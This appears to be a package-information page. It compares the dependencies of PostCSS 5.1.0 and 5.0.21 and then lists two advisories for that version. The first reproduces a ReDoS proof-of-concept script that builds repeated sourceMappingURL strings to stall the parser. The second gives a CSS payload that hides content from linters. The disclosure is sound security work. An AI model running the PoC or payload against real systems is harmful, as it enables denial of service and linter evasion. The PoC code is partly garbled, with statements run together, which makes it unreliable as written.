PostCSS version 5.1.0 introduces several updates compared to the previous stable version, 5.0.21, making it a worthwhile upgrade for developers using this powerful CSS transformation tool. One key difference lies in the updated dependencies. While both versions share fundamental dependencies like js-base64 and supports-color, version 5.1.0 bumps the source-map dependency to ^0.5.6, potentially bringing performance enhancements and bug fixes related to source map handling.
Furthermore, there are notable changes in the development dependencies. Version 5.1.0 embraces a more modern testing and linting setup, incorporating ava for testing and an updated eslint configuration (3.0.1), promoting cleaner and more maintainable code. The introduction of gulp-ava streamlines the testing process within a Gulp workflow that is also present in both versions. Other new development dependencies in 5.1.0 include docdash for documentation, and a few babel plugins. While 5.0.21 included dependencies like chai, mocha, and gulp-shell, they are absent in 5.1.0, indicating a shift in the preferred development tooling. It’s worth noting that both versions use similar configurations for Babel, with babel-preset-es2015-loose at version 7.0.0, but 5.1.0 has the updated babel-preset-es2015 at version 6.9.0.
These upgrades suggest a focus on code quality, modern development practices, and improved tooling for PostCSS contributors, which can indirectly benefit developers using the library through a more stable and well-maintained codebase. Overall, version 5.1.0 offers incremental improvements over 5.0.21, refining the development workflow and potentially enhancing the performance and stability of PostCSS transformations.
All the vulnerabilities related to the version 5.1.0 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r
discrepancies, as demonstrated by @font-face{ font:(\r/*);}
in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.